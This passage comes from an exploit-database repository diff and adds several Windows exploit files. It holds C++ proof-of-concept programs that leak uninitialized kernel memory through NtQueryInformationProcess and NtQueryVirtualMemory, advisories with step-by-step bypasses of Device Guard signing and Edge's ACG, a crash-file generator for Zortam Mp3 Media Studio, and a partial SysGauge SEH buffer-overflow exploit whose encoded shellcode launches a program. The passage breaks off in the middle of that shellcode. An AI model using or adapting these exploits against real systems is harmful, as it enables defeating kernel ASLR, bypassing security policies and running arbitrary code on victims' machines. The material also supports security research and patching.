On x64 builds, the compiler introduces 4 bytes of padding between the "MaximumLength" and "Buffer" fields, in order to align the "Buffer" pointer to an 8-byte boundary. These padding bytes are never initialized in the kernel's local copy of the structure, and so they are returned to the user-mode caller in this form. Interestingly, on Windows 7, the uninitialized bytes originate from a pool allocation, while on Windows 10, they come from uninitialized kernel stack memory (specifically from the stack frame of the nt!PspInitializeFullProcessImageName function, according to our tests).
|
||||
|
||||
The problem is best illustrated by running the attached proof-of-concept program, which invokes the nt!NtQuerySystemInformation syscall with the affected information class and prints the contents of the output buffer on the screen. The result of running it in our test Windows 7 environment is as follows:
|
||||
|
||||
--- cut ---
|
||||
C:\>NtQueryInformationProcess_ImageFileName.exe
|
||||
Status: 0, Return Length: 98
|
||||
00000000: 86 00 88 00 55 55 55 55 e0 ca 77 3f 01 00 00 00 ....UUUU..w?....
|
||||
00000010: 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 \.D.e.v.i.c.e.\.
|
||||
00000020: 48 00 61 00 72 00 64 00 64 00 69 00 73 00 6b 00 H.a.r.d.d.i.s.k.
|
||||
00000030: 56 00 6f 00 6c 00 75 00 6d 00 65 00 32 00 5c 00 V.o.l.u.m.e.2.\.
|
||||
00000040: 4e 00 74 00 51 00 75 00 65 00 72 00 79 00 49 00 N.t.Q.u.e.r.y.I.
|
||||
00000050: 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 n.f.o.r.m.a.t.i.
|
||||
00000060: 6f 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 o.n.P.r.o.c.e.s.
|
||||
00000070: 73 00 5f 00 49 00 6d 00 61 00 67 00 65 00 46 00 s._.I.m.a.g.e.F.
|
||||
00000080: 69 00 6c 00 65 00 4e 00 61 00 6d 00 65 00 2e 00 i.l.e.N.a.m.e...
|
||||
00000090: 65 00 78 00 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? e.x.e...........
|
||||
|
||||
C:\>NtQueryInformationProcess_ImageFileName.exe
|
||||
Status: 0, Return Length: 98
|
||||
00000000: 86 00 88 00 71 71 71 71 e0 ca d2 3f 01 00 00 00 ....qqqq...?....
|
||||
00000010: 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 \.D.e.v.i.c.e.\.
|
||||
00000020: 48 00 61 00 72 00 64 00 64 00 69 00 73 00 6b 00 H.a.r.d.d.i.s.k.
|
||||
00000030: 56 00 6f 00 6c 00 75 00 6d 00 65 00 32 00 5c 00 V.o.l.u.m.e.2.\.
|
||||
00000040: 4e 00 74 00 51 00 75 00 65 00 72 00 79 00 49 00 N.t.Q.u.e.r.y.I.
|
||||
00000050: 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 n.f.o.r.m.a.t.i.
|
||||
00000060: 6f 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 o.n.P.r.o.c.e.s.
|
||||
00000070: 73 00 5f 00 49 00 6d 00 61 00 67 00 65 00 46 00 s._.I.m.a.g.e.F.
|
||||
00000080: 69 00 6c 00 65 00 4e 00 61 00 6d 00 65 00 2e 00 i.l.e.N.a.m.e...
|
||||
00000090: 65 00 78 00 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? e.x.e...........
|
||||
--- cut ---
|
||||
|
||||
It is clearly visible that the 4 bytes at offsets 0x4-0x7 are equal to the markers inserted by Special Pools, and would otherwise contain leftover data previously stored in that pool memory region. On Windows 10, we have observed portions of kernel pointers and other leftover data from the kernel stack within these 4 bytes of padding.
|
||||
|
||||
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <ntstatus.h>
|
||||
|
||||
#include <cstdio>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
|
||||
PBYTE Data = (PBYTE)Buffer;
|
||||
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||
printf("%.8x: ", i);
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes) {
|
||||
printf("%.2x ", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf("?? ");
|
||||
}
|
||||
}
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||
printf("%c", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
int main() {
|
||||
static BYTE OutputBuffer[1024];
|
||||
|
||||
ULONG ReturnLength = 0;
|
||||
NTSTATUS Status = NtQueryInformationProcess(GetCurrentProcess(), ProcessImageFileName, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);
|
||||
|
||||
printf("Status: %x, Return Length: %x\n", Status, ReturnLength);
|
||||
PrintHex(OutputBuffer, ReturnLength);
|
||||
|
||||
return 0;
|
||||
}
|
||||
133
exploits/windows/dos/44464.cpp
Normal file
133
exploits/windows/dos/44464.cpp
Normal file
|
|
@ -0,0 +1,133 @@
|
|||
/*
|
||||
We have discovered that the nt!NtQueryVirtualMemory system call invoked with the MemoryBasicInformation (0x0) and MemoryPrivilegedBasicInformation (0x8) information classes discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10.
|
||||
|
||||
Both information classes appear to return the same output structure, MEMORY_BASIC_INFORMATION:
|
||||
|
||||
--- cut ---
|
||||
typedef struct _MEMORY_BASIC_INFORMATION {
|
||||
PVOID BaseAddress;
|
||||
PVOID AllocationBase;
|
||||
DWORD AllocationProtect;
|
||||
SIZE_T RegionSize;
|
||||
DWORD State;
|
||||
DWORD Protect;
|
||||
DWORD Type;
|
||||
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
|
||||
--- cut ---
|
||||
|
||||
On x64 builds, the compiler introduces 4 bytes of padding between the "AllocationProtect" and "RegionSize" fields, in order to align the latter to an 8-byte boundary. Furthermore, 4 extra unused bytes are also added at the end of the structure, in order to align its size to an 8-byte boundary. None of these 8 unused bytes are initialized in the kernel's local copy of the structure, and so they are returned to the user-mode caller in this undefined form.
|
||||
|
||||
The problem is best illustrated by running the attached proof-of-concept program, which sprays the kernel stack with a 0x41 ('A') marker byte, invokes the nt!NtQueryVirtualMemory syscall with the affected information classes, and prints the contents of the output buffer on the screen. The result of running it in our test Windows 10 environment is as follows:
|
||||
|
||||
--- cut ---
|
||||
---------- MemoryBasicInformation Status: 0, Return Length: 30
|
||||
00000000: 00 00 58 3d f6 7f 00 00 00 00 58 3d f6 7f 00 00 ..X=......X=....
|
||||
00000010: 80 00 00 00 41 41 41 41 00 10 00 00 00 00 00 00 ....AAAA........
|
||||
00000020: 00 10 00 00 02 00 00 00 00 00 00 01 41 41 41 41 ............AAAA
|
||||
---------- MemoryPrivilegedBasicInformation Status: 0, Return Length: 30
|
||||
00000000: 00 00 58 3d f6 7f 00 00 00 00 58 3d f6 7f 00 00 ..X=......X=....
|
||||
00000010: 80 00 00 00 41 41 41 41 00 10 00 00 00 00 00 00 ....AAAA........
|
||||
00000020: 00 10 00 00 02 00 00 00 00 00 00 01 41 41 41 41 ............AAAA
|
||||
--- cut ---
|
||||
|
||||
It is clearly visible that in both cases, the bytes returned at offsets 0x14-0x17 and 0x2c-0x2f originate from an uninitialized kernel stack region. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#include <cstdio>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
#define MemoryBasicInformation ((MEMORY_INFORMATION_CLASS)0)
|
||||
#define MemoryPrivilegedBasicInformation ((MEMORY_INFORMATION_CLASS)8)
|
||||
|
||||
extern "C" {
|
||||
typedef DWORD MEMORY_INFORMATION_CLASS;
|
||||
NTSTATUS NTAPI NtQueryVirtualMemory(
|
||||
_In_ HANDLE ProcessHandle,
|
||||
_In_opt_ PVOID BaseAddress,
|
||||
_In_ MEMORY_INFORMATION_CLASS MemoryInformationClass,
|
||||
_Out_ PVOID MemoryInformation,
|
||||
_In_ SIZE_T MemoryInformationLength,
|
||||
_Out_opt_ PSIZE_T ReturnLength
|
||||
);
|
||||
};
|
||||
|
||||
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
|
||||
PBYTE Data = (PBYTE)Buffer;
|
||||
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||
printf("%.8x: ", i);
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes) {
|
||||
printf("%.2x ", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf("?? ");
|
||||
}
|
||||
}
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||
printf("%c", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
|
||||
for (ULONG i = 0; i < size; i++) {
|
||||
ptr[i] = byte;
|
||||
}
|
||||
}
|
||||
|
||||
VOID SprayKernelStack() {
|
||||
static bool initialized = false;
|
||||
static HPALETTE(NTAPI *EngCreatePalette)(
|
||||
_In_ ULONG iMode,
|
||||
_In_ ULONG cColors,
|
||||
_In_ ULONG *pulColors,
|
||||
_In_ FLONG flRed,
|
||||
_In_ FLONG flGreen,
|
||||
_In_ FLONG flBlue
|
||||
);
|
||||
|
||||
if (!initialized) {
|
||||
EngCreatePalette = (HPALETTE(NTAPI*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
|
||||
initialized = true;
|
||||
}
|
||||
|
||||
static ULONG buffer[256];
|
||||
MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
|
||||
EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
|
||||
MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
|
||||
}
|
||||
|
||||
int main() {
|
||||
static BYTE OutputBuffer[1024];
|
||||
|
||||
SprayKernelStack();
|
||||
|
||||
SIZE_T ReturnLength = 0;
|
||||
NTSTATUS Status = NtQueryVirtualMemory(GetCurrentProcess(), GetModuleHandle(NULL), MemoryBasicInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);
|
||||
|
||||
printf("---------- MemoryBasicInformation Status: %x, Return Length: %x\n", Status, ReturnLength);
|
||||
PrintHex(OutputBuffer, ReturnLength);
|
||||
|
||||
SprayKernelStack();
|
||||
|
||||
ReturnLength = 0;
|
||||
Status = NtQueryVirtualMemory(GetCurrentProcess(), GetModuleHandle(NULL), MemoryPrivilegedBasicInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);
|
||||
|
||||
printf("---------- MemoryPrivilegedBasicInformation Status: %x, Return Length: %x\n", Status, ReturnLength);
|
||||
PrintHex(OutputBuffer, ReturnLength);
|
||||
|
||||
return 0;
|
||||
}
|
||||
105
exploits/windows/dos/44465.cpp
Normal file
105
exploits/windows/dos/44465.cpp
Normal file
|
|
@ -0,0 +1,105 @@
|
|||
/*
|
||||
We have discovered that the nt!NtQueryVirtualMemory system call invoked with the MemoryImageInformation (0x6) information class discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 8 to 10.
|
||||
|
||||
The layout of the corresponding output buffer is unknown to us; however, we have determined that an output size of 24 bytes is accepted. At the end of that memory area, 4 uninitialized bytes from the kernel stack can be leaked to the client application.
|
||||
|
||||
The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with the MemoryImageInformation info class and the allowed output size. An example output is as follows:
|
||||
|
||||
--- cut ---
|
||||
Status: 0, Return Length: 18
|
||||
00000000: 00 00 f3 0c f7 7f 00 00 00 20 02 00 00 00 00 00 ......... ......
|
||||
00000010: 00 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
|
||||
--- cut ---
|
||||
|
||||
It is clearly visible here that the 4 trailing bytes copied from ring-0 to ring-3 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#include <cstdio>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
#define MemoryImageInformation ((MEMORY_INFORMATION_CLASS)6)
|
||||
|
||||
extern "C" {
|
||||
typedef DWORD MEMORY_INFORMATION_CLASS;
|
||||
NTSTATUS NTAPI NtQueryVirtualMemory(
|
||||
_In_ HANDLE ProcessHandle,
|
||||
_In_opt_ PVOID BaseAddress,
|
||||
_In_ MEMORY_INFORMATION_CLASS MemoryInformationClass,
|
||||
_Out_ PVOID MemoryInformation,
|
||||
_In_ SIZE_T MemoryInformationLength,
|
||||
_Out_opt_ PSIZE_T ReturnLength
|
||||
);
|
||||
};
|
||||
|
||||
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
|
||||
PBYTE Data = (PBYTE)Buffer;
|
||||
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||
printf("%.8x: ", i);
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes) {
|
||||
printf("%.2x ", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf("?? ");
|
||||
}
|
||||
}
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||
printf("%c", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
|
||||
for (ULONG i = 0; i < size; i++) {
|
||||
ptr[i] = byte;
|
||||
}
|
||||
}
|
||||
|
||||
VOID SprayKernelStack() {
|
||||
static bool initialized = false;
|
||||
static HPALETTE(NTAPI *EngCreatePalette)(
|
||||
_In_ ULONG iMode,
|
||||
_In_ ULONG cColors,
|
||||
_In_ ULONG *pulColors,
|
||||
_In_ FLONG flRed,
|
||||
_In_ FLONG flGreen,
|
||||
_In_ FLONG flBlue
|
||||
);
|
||||
|
||||
if (!initialized) {
|
||||
EngCreatePalette = (HPALETTE(NTAPI*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
|
||||
initialized = true;
|
||||
}
|
||||
|
||||
static ULONG buffer[256];
|
||||
MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
|
||||
EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
|
||||
MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
|
||||
}
|
||||
|
||||
int main() {
|
||||
static BYTE OutputBuffer[1024];
|
||||
|
||||
SprayKernelStack();
|
||||
|
||||
SIZE_T ReturnLength = 0;
|
||||
NTSTATUS Status = NtQueryVirtualMemory(GetCurrentProcess(), GetModuleHandle(NULL), MemoryImageInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);
|
||||
|
||||
printf("Status: %x, Return Length: %x\n", Status, ReturnLength);
|
||||
PrintHex(OutputBuffer, ReturnLength);
|
||||
|
||||
return 0;
|
||||
}
|
||||
48
exploits/windows/dos/44466.txt
Normal file
48
exploits/windows/dos/44466.txt
Normal file
|
|
@ -0,0 +1,48 @@
|
|||
Windows: CiSetFileCache TOCTOU CVE-2017-11830 Incomplete Fix
|
||||
Platform: Windows 10 1709 (including Win10S)
|
||||
Class: Security Feature Bypass
|
||||
|
||||
Summary:
|
||||
The fix for CVE-2017-11830 is insufficient to prevent a normal user application adding a cached signing level to an unsigned file by exploiting a TOCTOU in CI leading to circumventing Device Guard policies.
|
||||
|
||||
Description:
|
||||
The previous issue I reported was due to not checking for write access on the target file handle when setting the cache. This allows a user application to abuse a TOCTOU and rewrite the file after the hash has been generated for the file. The only changed code seems to be below:
|
||||
|
||||
FILE_OBJECT target_file;
|
||||
ObReferenceObjectByHandle(FileHandle, 0, *IoFileObjectType, &target_file);
|
||||
if (target_file->SharedWrite) {
|
||||
return STATUS_SHARING_VIOLATION;
|
||||
}
|
||||
|
||||
if (target_file->WriteAccess) { ← Additional check for the file being opened for write.
|
||||
if ((PsGetProcessProtection(PsGetCurrentProcess()) & 7) != ProtectedProcessLight)
|
||||
return STATUS_SHARING_VIOLATION;
|
||||
}
|
||||
|
||||
The fix was to add a check that the target file passed isn’t writable. This combined with the check for FILE_SHARE_WRITE should mean the user can’t hold on to a writable file handle. However, when the file handle is converted to a file object with ObReferenceObjectByHandle the desired access is 0, which means we can pass a handle with any granted access including SYNCHRONIZE or READ_CONTROL, which do not respect file sharing. So we can still exploit this issue by doing the following:
|
||||
|
||||
1. Open the file for write access.
|
||||
2. Reopen another handle to the file for SYNCHRONIZE access. This works as this access right can be used regardless of the sharing mode.
|
||||
3. Set cached signing level through the handle opened in 2.
|
||||
4. Wait for oplock, rewrite file using handle opened in 1. Release oplock.
|
||||
|
||||
Proof of Concept:
|
||||
|
||||
I’ve provided a PoC as a C# project. It will allow you to “cache sign” an arbitrary executable. If you want to test this on a locked down system such as Win10S you’ll need to sign the PoC (and the NtApitDotNet.dll assembly) so it’ll run. Or use it via one of my .NET based DG bypasses, in that case you can call the PoC_CacheSignature.Exploit.Run method directly. It copies notepad to a file, attempts to verify it but uses an oplock to rewrite the contents of the file with the untrusted file before it can set the kernel EA.
|
||||
|
||||
1) Compile the C# project. It will need to grab the NtApiDotNet v1.1.7 package from NuGet to work.
|
||||
2) Execute the PoC passing the path to an unsigned file and to the output “cache signed” file, e.g. poc unsigned.exe output.exe
|
||||
3) You should see it print the signing level, if successful.
|
||||
4) You should not be able to execute the unsigned file, bypassing the security policy enforcement.
|
||||
|
||||
NOTE: If it prints an exception then the exploit failed. The opened catalog files seemed to be cached for some unknown period of time after use so if the catalog file I’m using for a timing signal is already open then the oplock is never broken. Just rerun the poc which will pick a different catalog file to use. Also the output file must be on to a NTFS volume with the USN Change Journal enabled as that’s relied upon by the signature level cache code. Best to do it to the boot drive as that ensures everything should work correctly.
|
||||
|
||||
Expected Result:
|
||||
Access denied or at least an error setting the cached signing level.
|
||||
|
||||
Observed Result:
|
||||
The signing level cache is applied to the file with no further verification. You can now execute the file as if it was signed.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44466.zip
|
||||
73
exploits/windows/dos/44467.txt
Normal file
73
exploits/windows/dos/44467.txt
Normal file
|
|
@ -0,0 +1,73 @@
|
|||
Each Edge Content process (MicrosoftEdgeCP.exe) needs to call SetProcessMitigationPolicy() on itself to enable ACG. The callstack when this happens is:
|
||||
|
||||
00 KERNELBASE!SetProcessMitigationPolicy
|
||||
01 MicrosoftEdgeCP!SetProcessDynamicCodePolicy+0xc0
|
||||
02 MicrosoftEdgeCP!StartContentProcess_Exe+0x164
|
||||
03 MicrosoftEdgeCP!main+0xfe
|
||||
04 MicrosoftEdgeCP!_main+0xa6
|
||||
05 MicrosoftEdgeCP!WinMainCRTStartup+0x1b3
|
||||
06 KERNEL32!BaseThreadInitThunk+0x14
|
||||
07 ntdll!RtlUserThreadStart+0x21
|
||||
|
||||
The issue is that one MicrosoftEdgeCP.exe can OpenProcess() another MicrosoftEdgeCP.exe as long as they are in the same App Container. So MicrosoftEdgeCP.exe process A can race MicrosoftEdgeCP.exe B when it still doesn't have ACG enabled and tamper with it in such a way that process B never enables ACG.
|
||||
|
||||
Having another MicrosoftEdgeCP.exe process not enable ACG is pretty straightforward as SetProcessDynamicCodePolicy consults a number of global variables to determine if ACG should be enabled or not. For example, in IEIsF12Host(), which is called from GetDynamicCodeRestrictionsEnablementState, two global variables (at offsets 0x23092 and 0x23090 in the Edge version we tested on, up-to-date on Windows 10 version 1709) are checked, and if they are both nonzero, ACG is not going to get enabled. Thus it is sufficient for process A to OpenProcess() and call a single WriteProcessMemory() with a known address (note: we assume ASLR is already defeated at this point) in order to disable ACG.
|
||||
|
||||
When process A disables ACG in process B it is possible to further tamper with process B and get it to allocate executable memory and run arbitrary payload either in process A or process B.
|
||||
|
||||
A debug log below demonstrates how it is indeed possible to OpenProcess() and WriteProcessMemory() from one MicrosoftEdgeCP.exe to another. All that is left to prove is that this race is winnable. To demonstrate that, we wrote a small program that scans the processes and whenever a new MicrosoftEdgeCP.exe appears, it patches it as described above. In our experiments this reliably disables ACG for all of the MicrosoftEdgeCP.exe processes created after the PoC program runs. The Visual Studio project for the PoC is attached. It is also possible to run the PoC in Edge's App Container, which proves that an Edge Content Process has access to all of the functionality needed to exploit the issue.
|
||||
|
||||
|
||||
To demonstrate two MicrosoftEdgeCP.exe processes can tamper with each other, select two processes in the same App Container (all Content Processes for Internet sites should be in the same container) and attach a debugger to one of them.
|
||||
|
||||
0:061> r rip=kernelbase!openprocess
|
||||
0:061> r rcx=28 # PROCESS_VM_WRITE | PROCESS_VM_OPERATION
|
||||
0:061> r rdx=0
|
||||
0:061> r r8=e84 # pid of the other process
|
||||
0:061> p
|
||||
|
||||
...
|
||||
|
||||
After OpenProcess() completes we can see that it was successful and that the returned handle has the value of 0x698.
|
||||
|
||||
0:061> r
|
||||
rax=0000000000000698 rbx=0000000000000000 rcx=00007ff87c720344
|
||||
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
|
||||
rip=00007ff878c8dc6d rsp=00000082622dfe28 rbp=0000000000000000
|
||||
r8=00000082622dfdb8 r9=0000000000000000 r10=0000000000000000
|
||||
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
|
||||
Then, we can test writing to the other process's memory with
|
||||
|
||||
0:061> r rip=kernelbase!writeprocessmemory
|
||||
0:061> r rcx=698 # handle returned from OpenProcess()
|
||||
0:061> r rdx=00007ff7`b8483090 # base of MicrosoftEdgeCP.exe + 0x23090
|
||||
0:061> r r8=00000082`622dfef0 # address of buffer to write
|
||||
0:061> r r9=3 # size of data to write
|
||||
0:061> p
|
||||
|
||||
...
|
||||
|
||||
After it completes we see that the return value is 1 which indicates success:
|
||||
|
||||
0:061> r
|
||||
rax=0000000000000001 rbx=0000000000000000 rcx=0000000000000000
|
||||
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
|
||||
rip=00007ff878cca1d6 rsp=00000082622dfe28 rbp=0000000000000000
|
||||
r8=00000082622dfcf8 r9=00000082622dfdd1 r10=0000000000000000
|
||||
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
|
||||
You can also attach a debugger to the other process and verify that the data was written correctly.
|
||||
|
||||
|
||||
Microsoft's reply: "First, thank you for reporting this to us. Our engineering team does agree with your assessment. The approach we are taking to address this issue is moving the enablement of ACG to process creation time rather than deferring until after the process has started. Our plan of action would be not to address it through a hotfix, but instead in the next release of Windows."
|
||||
|
||||
Regarding severity, as with the other mitigation bypasses, note that this issue can't be exploited on its own. An attacker would first need to exploit an unrelated vulnerability to gain some capabilities in the Edge content process (such as the ability to read and write arbitrary memory locations), after which they could use this vulnerability to gain additional capabilities (namely, the ability to run arbitrary machine code).
|
||||
|
||||
The issue was identified by James Forshaw and Ivan Fratric.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44467.zip
|
||||
22
exploits/windows/dos/44468.py
Executable file
22
exploits/windows/dos/44468.py
Executable file
|
|
@ -0,0 +1,22 @@
|
|||
#!/usr/bin/python
|
||||
# Title: Zortam Mp3 Media Studio Local Buffer Overflow (SEH)
|
||||
# Author: Kevin McGuigan
|
||||
# Twitter: @_h3xagram
|
||||
# Author Website: https://www.7elements.co.uk
|
||||
# Vendor Website: http://www.zortam.com/
|
||||
# Version: 23.45
|
||||
# Tested on: Windows 7 32 bit
|
||||
# Date: 12/04/2018
|
||||
# Vendor did not respond to advisory
|
||||
|
||||
|
||||
# File > Add Disk to Mp3 Library > paste string from zortamPOC.txt into directory field
|
||||
filename="zortamPOC.txt"
|
||||
junk = "A" * 268
|
||||
nseh = "B" * 4
|
||||
seh="C" * 4
|
||||
fill = "D" *900
|
||||
buffer = junk + nseh + seh + fill
|
||||
textfile = open(filename , 'w')
|
||||
textfile.write(buffer)
|
||||
textfile.close()
|
||||
191
exploits/windows/local/44455.py
Executable file
191
exploits/windows/local/44455.py
Executable file
|
|
@ -0,0 +1,191 @@
|
|||
#!/usr/bin/python
|
||||
##################################################################################################################
|
||||
# Exploit Title : SysGauge Pro v4.6.12 - Local Buffer Overflow (SEH) #
|
||||
# Exploit Author : Hashim Jawad #
|
||||
# Twitter : @ihack4falafel #
|
||||
# Author Website : ihack4falafel[.]com #
|
||||
# Vendor Homepage : http://www.sysgauge.com/ #
|
||||
# Vulnerable Software : http://www.sysgauge.com/setups/sysgaugepro_setup_v4.6.12.exe #
|
||||
# Tested on : Windows XP Professional - SP3 #
|
||||
# Steps to reproduce : ~ Copy content of payload.txt #
|
||||
# ~ Under Register type in "falafel" in Customer Name field #
|
||||
# ~ Paste the content of payload.txt in Unlock Key field and click Register #
|
||||
##################################################################################################################
|
||||
|
||||
import struct
|
||||
|
||||
# ***notes***
|
||||
# ~ this particular function [Register] of the program only accept characters [00-7f] excluding "\x00\x09\x0a\x0d"
|
||||
# ~ found two application dlls [QtGui4.dll] & [libdgg.dll] that have plenty of [pop, pop, ret] with clean address
|
||||
# ~ the following are Flexense products effected by the same vulnerability (note buffer size and offsets may vary)
|
||||
##################################################################################################################
|
||||
# ~ SysGauge Ultimate v4.6.12
|
||||
# ~ Azure DEX Pro v2.2.16
|
||||
# ~ Azure DEX Ultimate v2.2.16
|
||||
# ~ DiskBoss Pro v9.1.16
|
||||
# ~ DiskBoss Ultimate v9.1.16
|
||||
# ~ SyncBreeze Pro v10.7.14
|
||||
# ~ SyncBreeze Ultimate v10.7.14
|
||||
# ~ DiskPulse Pro v10.7.14
|
||||
# ~ DiskPulse Ultimate v10.7.14
|
||||
# ~ DiskSavvy Pro v10.7.14
|
||||
# ~ DiskSavvy Ultimate v10.7.14
|
||||
# ~ DiskSorter Pro v10.7.14
|
||||
# ~ DiskSorter Ultimate v10.7.14
|
||||
# ~ DupScout Pro v10.7.14
|
||||
# ~ DupScout Ultimate v10.7.14
|
||||
# ~ VX Search Pro v10.7.14
|
||||
# ~ VX Search Ultimate v10.7.14
|
||||
##################################################################################################################
|
||||
|
||||
# overwrite SEH with clean address of [pop, pop, ret]
|
||||
buffer = "\x41" * 780 # junk to nSEH
|
||||
buffer += "\x74\x06\x42\x42" # nSEH - jump if zero flag is set (always true)
|
||||
buffer += struct.pack('<L', 0x10013d16) # SEH (pop esi # pop ecx # retn | [libdgg.dll])
|
||||
buffer += "\x43" * 28 # some more junk
|
||||
|
||||
# push calc.exe instructions [encoded] into the stack
|
||||
# Disassembly:
|
||||
# 0: 33 c0 xor eax,eax # zero out eax register
|
||||
# 2: 50 push eax # push eax (null-byte) to terminate "calc.exe"
|
||||
# 3: 68 2E 65 78 65 push ".exe" # push the ASCII string to the stack
|
||||
# 8: 68 63 61 6C 63 push "calc" #
|
||||
# d: 8b c4 mov eax,esp # put the pointer to the ASCII string in eax
|
||||
# f: 6a 01 push 0x1 # push uCmdShow parameter to the stack
|
||||
# 11: 50 push eax # push the pointer to lpCmdLine to the stack
|
||||
# 12: bb 5d 2b 86 7c mov ebx,0x7c862b5d # move the pointer to WinExec() [located at 0x7c862b5d in kernel32.dll (via arwin.exe) on WinXP SP3] into ebx
|
||||
# 17: ff d3 call ebx # call WinExec()
|
||||
|
||||
# divide calc.exe instructions to 4-byte chunks and pad what's left with nops
|
||||
# "\x33\xc0\x50\x68"
|
||||
# "\x2e\x65\x78\x65"
|
||||
# "\x68\x63\x61\x6C"
|
||||
# "\x63\x8b\xc4\x6a"
|
||||
# "\x01\x50\xbb\x5d"
|
||||
# "\x2b\x86\x7c\xff"
|
||||
# "\xd3\x90\x90\x90"
|
||||
|
||||
# starting from the bottom up in little endian order
|
||||
# first push "\x90\x90\x90\xd3"
|
||||
##############################################################
|
||||
# zero out eax
|
||||
buffer += "\x25\x10\x10\x10\x10" ### and eax, 0x10101010
|
||||
buffer += "\x25\x01\x01\x01\x01" ### and eax, 0x01010101
|
||||
|
||||
# move "\x90\x90\x90\xd3" into eax and push it to the stack
|
||||
buffer += "\x05\x72\x70\x70\x70" ### add eax,0x70707072
|
||||
buffer += "\x05\x61\x20\x20\x20" ### add eax,0x20202061
|
||||
buffer += "\x50" ### push eax
|
||||
##############################################################
|
||||
|
||||
# second push "\xff\x7c\x86\x2b"
|
||||
##############################################################
|
||||
# zero out eax
|
||||
buffer += "\x25\x10\x10\x10\x10" ### and eax, 0x10101010
|
||||
buffer += "\x25\x01\x01\x01\x01" ### and eax, 0x01010101
|
||||
|
||||
# move "\xff\x7c\x86\x2b" into eax and push it to the stack
|
||||
